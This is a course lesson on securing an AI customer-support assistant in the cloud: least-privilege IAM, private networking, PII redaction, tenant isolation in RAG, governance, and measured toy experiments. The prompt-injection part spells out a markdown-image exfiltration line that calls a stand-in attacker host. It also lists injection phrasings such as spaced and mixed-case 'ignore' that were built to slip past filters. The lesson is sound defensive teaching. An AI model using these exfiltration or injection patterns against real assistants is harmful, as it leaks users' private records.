Security and Governance

Lesson 10 of 12 · Why the filter failed, and the design that held.

In this lesson → ① Five locks ② Least privilege, tested ③ Personal data ④ Prompt injection ⑤ The injection experiment ⑥ Leaks between customers ⑦ Governance basics

Course project: ShopNest Copilot, the AI support assistant we move to the cloud, step by step.

1 Five locks

> **I N E L A**: Identity, Network, Encryption, Logging, **App authorisation** ("I Need Every Lock, Always"). The provider gives you the first four; the fifth you build yourself.

2 The request gap

- → **IAM**: who may call the model
- → **Private link**: which pipe the call travels
- → **Guardrail**: does this text look like an attack?
- → Nobody asks: **may THIS user see THIS document or fire THIS tool?** That is application authorisation, in your code

3 Identity

Prefer **keyless** identity: the cluster gives each pod a short-lived token, the cloud swaps it for short-lived credentials. Nothing long-lived to leak. AWS: EKS Pod Identity (or IRSA); Google: Workload Identity Federation for GKE; Azure: AKS Workload Identity.

CLOUD NOTEBOOK

4 Least privilege: a policy test

A **simplified** policy checker I wrote (not the real cloud engine): default deny, explicit deny wins, * matches anything, plus an organisation rule that denies the model service outside two EU Regions. Script: l10_iam_check.py.

```
# narrow role (notebook example)
{"Effect": "Allow", "Action": ["bedrock:InvokeModel", "bedrock:InvokeModelWithResponseStream"],
 "Resource": "arn:aws:bedrock:eu-central-1::foundation-model/anthropic.claude-*"}

# broad role
{"Effect": "Allow", "Action": ["bedrock:*"], "Resource": "*"}
```

Request	Narrow	Broad
invoke approved model, EU	allowed	allowed
invoke a different vendor's model	DENIED	allowed
create a guardrail · delete a custom model · start fine-tuning	DENIED	allowed
change logging configuration	DENIED	**allowed**
any model in the US or Asia	DENIED	DENIED (org rule)
total allowed of 12	**2**	**9**

5 Network, secrets, keys

- ✓ **Private endpoints** (PrivateLink, Private Service Connect, Private Link) and **public access off**: otherwise the private path is only optional
- ✓ A **perimeter** (VPC Service Controls): valid credentials still cannot copy data or models out
- ✓ **Secrets manager** for provider keys and database passwords: never .env files, images or prompts (a model can repeat its context)
- ✓ **Customer-managed keys** for training data, custom models, vector stores and logs

6 Two kinds of logs

Log	Contains	Note
audit log (CloudTrail, Cloud Audit Logs, Azure diagnostic settings)	who called which API, when	no prompts
prompt / invocation log	prompts and answers	off by default; **a prompt log is a PII database**: encrypt, restrict, set retention

No logs: no audit trail (some rules require one). Logs on: a new store of personal data and secrets.

7 Data use, retention, residency

Question	Answer (notebook, Oct 2026)
do clouds train on your API data?	all three commit by contract: **no** (settled)
how long are prompts kept?	differs by provider and feature; some keep flagged prompts for abuse review
zero data retention?	usually opt-in or approval; some features rule it out
EU-only residency?	watch global vs regional endpoints and cross-region routing; read the provider page first

8 Redact PII at four places

→ before **embedding** (PII inside vectors is hard to find and delete)
→ on the **prompt**
→ on the **output**
→ before **logging**

9 Confidential computing

Hides data **in use** from the cloud operator (Azure and Google H100 confidential VMs). Weak against physical attacks; multi-GPU limited. Does nothing about prompt injection: a complement, not a replacement.

10 PII redaction, measured

30 made-up test strings. Regular expressions for emails, phone numbers and card numbers (Luhn checksum). Recall = share of the personal items found. Script: l10_pii_redact.py.

Kind	Found	Recall
email	5 of 6	83%
phone	6 of 7	86%
card	4 of 5	80%
name	0 of 4	**0%**
address	0 of 2	**0%**
id number	0 of 2	**0%**
all	15 of 26	**58%**

Also 2 false alarms on 4 harmless strings. Add trained recognisers: Microsoft Presidio, Amazon Comprehend, Google Sensitive Data Protection (not tested here).

11 OWASP Top 10 for LLM apps (2025)

ID	Risk	First fix
LLM01	prompt injection	architecture, not just filters
LLM02	sensitive information disclosure	secrets out of context, PII filters, per-user access
LLM03	supply chain	safetensors, signing, pinning
LLM04	data and model poisoning	data provenance, evals
LLM05	improper output handling	treat output as untrusted input
LLM06	excessive agency	minimal scoped tools, approval
LLM07	system prompt leakage	enforce authorisation outside the model
LLM08	vector and embedding weaknesses	per-tenant filters
LLM09	misinformation	grounding checks, citations
LLM10	unbounded consumption	rate, token and budget caps

Most real 2025 to 2026 incidents were system-level (indirect injection plus tools plus outbound paths): architecture, not model tuning.

12 Direct and indirect injection

	Direct	Indirect
where	the user types it	hidden in a web page, email, PDF, RAG chunk, calendar invite or tool output
attacker	the user	**not** the user: the user is the victim

13 How data leaves

- → **Markdown image**: the injected text makes the model write `![](https://attacker/?q=SECRET)`; the chat loads it automatically, no click
- → Links the user is nudged to click
- → Tools that talk outward: email, web fetch, posting to a ticket
- → Real case: EchoLeak (CVE-2025-32711), a hidden email instruction, zero clicks

14 The lethal trifecta and the Rule of Two

An agent with **untrusted content + private data + external action** can be tricked into stealing. Meta's **Rule of Two** (Oct 2025): until injection can be reliably detected, give an agent at most two of: untrusted input, sensitive data, and the power to change state or communicate. All three: a human approves. These are heuristics that shrink the blast radius, not proofs.

15 Experiment: twelve attacks

Item	Value
task	a support assistant answers using the customer's private record and a help article the attacker has poisoned
"model"	a **gullible scripted stand-in** that obeys any instruction in the retrieved text (worst case); not a language model
attacks	12, my own wording: blunt, polite, fake-admin, image-based, spaced letters, leetspeak, French, and plain with no trigger words
A	nothing in place
B	keyword filter on retrieved text
C	egress allowlist: email only to the customer, images only from our domain

Script: l10_injection_toy.py. Some attacks were written to dodge the filter, which is the point: you cannot list every way to say it.

16 Results

Setup	Model fooled	Record left the system
A nothing	12 of 12	**12 of 12**
B keyword filter	9 of 12	**9 of 12**
C egress allowlist	12 of 12	**0 of 12**

The filter stopped 3. Attacks that got through: polite request, fake administrator, "for QA", both image attacks, `i g n o r e`, IgnOre, French, and a plain instruction. In setup C the model was just as fooled, but the data could not leave.

17 Defence in depth

- ✓ Filters and classifiers: one cheap layer, never the only one
- ✓ Least-privilege tools; human approval before anything irreversible
- ✓ Egress allowlists for email, links and images; sandboxes for code
- ✓ Attack your own system: garak, PyRIT; map tactics with MITRE ATLAS

18 Experiment: leaks between customers

5,000 SYNTHETIC documents, 5 customers, similar text; a customer-2 user asks 200 questions, top 5 wanted. Script: l10_tenant_leak.py.

Method	Other customers' docs shown	Docs returned per question
no filter	**833** of 1,000 (83%)	5.00
filter after the search	0	**0.83**
filter inside the search	0	5.00

19 Excessive agency, supply chain, cost

- → **Excessive agency**: a tool the agent never needs is a tool an attacker can use: minimal scoped tools, short-lived credentials, approvals, sandbox
- → **Supply chain**: pickle model files can run code when loaded; prefer safetensors, pin versions, check signatures; treat third-party models, packages, MCP servers and plugins like third-party code
- → **Denial of wallet** (unbounded consumption): cap tokens per request, requests per user, steps per agent run, and set a budget alarm per team

20 Governance basics (not legal advice)

Item	Note (notebook, Oct 2026)
EU AI Act	general-purpose model rules and transparency (Art. 50) live 2 Aug 2026
high-risk systems	pushed to 2 Dec 2027 (Annex III) and 2 Aug 2028 (Annex I): deferred, not cancelled
HIPAA / BAA	scope is decided feature by feature
always	an AI inventory and logs are your evidence

21 ShopNest Copilot: security plan

Lock	Plan
identity	keyless; one role, one approved model, approved Regions only
network, keys, logs	private endpoints, public access off, secrets manager, encrypted logs with short retention
data	tenant filter INSIDE the search; redact PII before embedding and logging
agency	email only to the customer; images only from our domain; refunds need human approval

22 Words to keep

Word	Meaning
Least privilege	only the permissions needed
Prompt injection	instructions hidden in text the model reads
Egress allowlist	a short list of places data may go
Tenant filter	a rule, inside the search, so one customer never sees another's data

23 Interview corner

Q. How do you defend against prompt injection?

A. Assume it cannot be fully filtered and limit the damage: least privilege, egress allowlists, approval for risky actions. In my test a keyword filter stopped 3 of 12 attacks; an egress allowlist left 0 leaks even though the model was fooled every time.

Q. How do you stop one customer seeing another's data in RAG?

A. Store access metadata on every chunk and filter INSIDE the search. With no filter 83% of results were another customer's; filtering after the search returned only 0.83 documents per question.

Q. Why is a broad IAM role dangerous for an AI app?

A. It can do far more than call a model: in my checker the broad role was allowed 9 of 12 requests, including deleting models and changing logging.

Q. Is redaction with regular expressions enough?

A. No: patterns found 58% of the personal items and 0% of names, addresses and IDs. Add trained recognisers.

24 Interview questions

"What is the difference between direct and indirect prompt injection?"

Direct: the user types the attack. Indirect: it is hidden in a web page, email, PDF, RAG chunk or tool output, and the user is the victim. EchoLeak (CVE-2025-32711) was a hidden email instruction with zero clicks.

Trap → Trusting retrieved text because it came from your own index.

"What is the lethal trifecta?"

Untrusted content + private data + an external action means an agent can be tricked into stealing. Meta's Rule of Two: give an agent at most two of the three; with all three, a human approves.

Trap → Treating these heuristics as proofs. They shrink the blast radius.

"Why is a keyword filter not enough against injection?"

You cannot list every way to say it. In my toy test the filter stopped 3 of 12 attacks. An egress allowlist left 0 of 12 records leaving, even though the model was fooled every time.

Trap → Relying on a classifier as the only layer.

"How should an AI service authenticate to the cloud?"

Keyless: the cluster gives each pod a short-lived token that the cloud swaps for short-lived credentials (EKS Pod Identity, GKE Workload Identity, AKS Workload Identity). Keep provider keys in a secrets manager.

Trap → Long-lived keys in .env files, images or prompts. A model can repeat its context.

"Should you log prompts?"

Audit logs, yes: who called which API, when. Prompt logs are off by default and become a database of personal data: encrypt them, restrict access, set short retention, and redact PII before logging.

Trap → Turning on full prompt logging with no retention or access rules.

"Which OWASP LLM risks matter most for agents?"

LLM01 prompt injection (fix with architecture), LLM06 excessive agency (minimal scoped tools, approvals) and LLM10 unbounded consumption (token, step and budget caps). Most 2025 to 2026 incidents were system-level.

Trap → Fixing everything with model tuning. Most of these are architecture problems.

25 Your turn

110_injection_toy.py (add your own attacks and setups), **110_tenant_leak.py**, **110_iam_check.py**, **110_pii_redact.py**.

⚡ Revise in 60 seconds

- → 5 locks (I N E L A): you build the 5th
- → broad role **9 of 12** allowed vs narrow **2**
- → PII patterns: **58%** overall, names **0%**
- → prompt log = a PII database
- → keyword filter stopped **3 of 12**
- → egress allowlist: **0** leaks, model still fooled
- → no tenant filter: **83%** of results not yours
- → filter INSIDE the search; Rule of Two

Next lesson → CAI-11
Cost and FinOps: GPU utilisation, token economics and the break-even sum
Watch on YouTube: **@TheCodeNotebook** · Notes: **thecodenotebook.com**